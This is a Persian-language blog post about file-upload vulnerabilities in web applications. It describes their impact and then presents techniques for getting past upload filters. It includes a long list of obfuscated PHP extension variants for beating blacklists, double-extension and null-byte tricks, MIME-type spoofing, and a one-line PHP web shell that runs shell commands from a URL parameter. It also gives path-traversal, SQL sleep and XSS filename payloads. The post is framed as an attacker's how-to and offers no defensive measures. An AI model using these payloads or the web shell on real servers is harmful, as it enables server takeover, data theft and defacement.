ویرگول
ورودثبت نام
ahmad kazemi
ahmad kazemi
ahmad kazemi
ahmad kazemi
خواندن ۳ دقیقه·۶ سال پیش

باگ RFU:

اسیب پذیری rfu یک اسیب پذیری خطرناک در اپلیکیشن های وب بیس میباشد
در وب سرور های مختلف این باگ کاملا بستگی به نارگت مورد نظر دارد.
این اسیب پذیری به ما اجازه میدهد که یک فایلی با محتوای مخرب (انواع شل) اپلود کنیم که در سرور اجرا شود حمله گر با استفاده از این باگ میتواند یک پیج فیشینگ در وبسایت قرار دهد یا ان را به اصطلاح دیفیس کند(تغییر ظاهر سایت)

حمله گر میتواند در بعضی شرایط به دیتا های حساس وب سرور دسترسی پیدا کند و یا اطلاعات مهم سرور را به مراجعه کنندگان سایت نشان دهد

قدرت RFU:
حمله server-side:
با استفاده از این باگ و اپلود شل بر روی سرور میتوان به کل سرور دسترسی کامل داشت.برای مثال:

پیمایش فایل های سرور/ران کردن دستور بر روی سرور/اکسپلویت اسیب پذیری های لوکال/پیمایش منابع لوکال و....

حمله client-side:

اپلود فایل مخرب میتواند به اراده ی حمله گر تبدیل به باگ های سمت کلاینت ماننذ XSS یا cross-site content hijacking شود

در بعضی موارد فایل میتواند حافظه ی سرور را مورد حمله قرار دهد به وسیله ی باج افزار ها و نرم افزار های غیر قانونی.در بغضی موارد فایل اپلود شده میتواند کنترل دیتا را بر عهده بگیرد و حمله گر مطالبی از قبیل خشونت و ازار و اذیت های اجتمایی را بر حافظه اپلود کند

فایل اپلود شده میتواند اطلاعات مهم سرور و دیتابیس را برای عموم افشا کند

حمله بر پلتفرم های اپلیکیشن :
اپلود فایل jsp. در زیر صفحات سایت که به عنوان یک کاربر وب اجرا میشود

اپلود فایل های بزرگ برای حملات داس

اپلود فایل با محتوای اطلاعات شخصی که بقیه کاربران به ان دسترسی دارند

و....

حمله بر سایر سیستم ها از طریق سایت:

اپلود فایل exe. برای اجرا بر روی کاربران سایت(تروجان)

اپلود فایل ویروسی که باعث ویروسی شدن سایر کاربران میشود

اپلود فایل html. همراه با اسکریپت.(XSS)





با این باگ چه کارهایی میشود کرد:
ما میتوانیم با استفاده از تزریق شل هایی با زبان های دلخواه مانند php به اسیب پذیری اجزای کد از راه دور و همچنین به باگ هایی مانند XSS,LFI,XXE,PHISHING,الوده کردن پارامتر ها,تزریق کد SQL دست یابیم که باعث افشا شدن اطلاعات,مسیر ها و ... میشود

انواع فیلتر ها برای جلوگیری از این باگ:

1-بایپس بلک لیست:

این فیلتر را میتوان با اپلود اکستنشن های غیر معمول پی اچ پی بایپس کرد.اینجا چند مثال برای شما اماده شده است.بهترین راه بایپس این فیلتر دیکود کردن میباشد

phtml
php3
php4
php5
inc
pHtml
pHp
pHp3
pHp4

pHp5
iNc
iNc
iNc%20%20%20
iNc%20%20%20…%20.%20..
iNc……
inc
inc%20%20%20
inc%20%20%20…%20.%20..
inc……
pHp
pHp%20%20%20
pHp%20%20%20…%20.%20..
pHp……
pHp3
pHp3%20%20%20
pHp3%20%20%20…%20.%20..
pHp3……
pHp4
pHp4%20%20%20
pHp4%20%20%20…%20.%20..
pHp4……
pHp5
pHp5%20%20%20
pHp5%20%20%20…%20.%20..
pHp5……
pHtml
pHtml%20%20%20
pHtml%20%20%20…%20.%20..
pHtml……
php
php%20%20%20
php%20%20%20…%20.%20..
php……
php3
php3%20%20%20
php3%20%20%20…%20.%20..
php3……
php4
php4%20%20%20
php4%20%20%20…%20.%20..
php4……
php5
php5%20%20%20
php5%20%20%20…%20.%20..
php5……
phtml
phtml%20%20%20
phtml%20%20%20…%20.%20..
phtml……

2-بایپس لیست سفید:

این روش را میتوان از طریق حقه هایی مانند استفاده از دو اکستنشن (image.png.php)یا با استفاده از null byte injection بایپس کرد(image.php .png)

راهنما:
برای بدست اوردن اکستنشن غیر معمول قابل پذیرش توسط سایت میتوان از روش بروت فورس استفاده کرد

3-دستکاری فیلد content-type یا MIME type:
این فیلد را میتوان از طریق تبدیل ان به میم تایپ های قابل قبول سایت بایپس کرد(برای مثال تبدیل application/php به image/png یا سایر میم تایپ های قابل قبول )

4- فیلتر محدودیت حجم فایل اپلود شده:
با استفاده از پیلود های کم حجم میتوانیم این فیلتر را بایپس بکنیم مانند:

sample payload<?php if($_GET[‘c’]) { system($_GET[‘c’]); } ?>

نکته های دیگر:

1-استفاده از اسم فایل هایی مانند logo.png/../.. برای پیمایش دایرکتوری ها با استفاده از اپلود فایل

2-اپلود فایل با استفاده از کامند sleep(10).jpg.اگر فایل مستقیما در دیتابیس قرار گیرد امکان دسترسی به sql هست

3-چک کردن اکتنشن svq. برای اپلود فایل.با استفاده از این میتوانیم به XSS های ذخیره شده با پیلود XML دسترسی پیدا کنیم

4-تغییر اسم فایل به پیلود های XSS (<svg =alert(document.domain)> برای دسترسی به باگ XSS



۲
۰
ahmad kazemi
ahmad kazemi
شاید از این پست‌ها خوشتان بیاید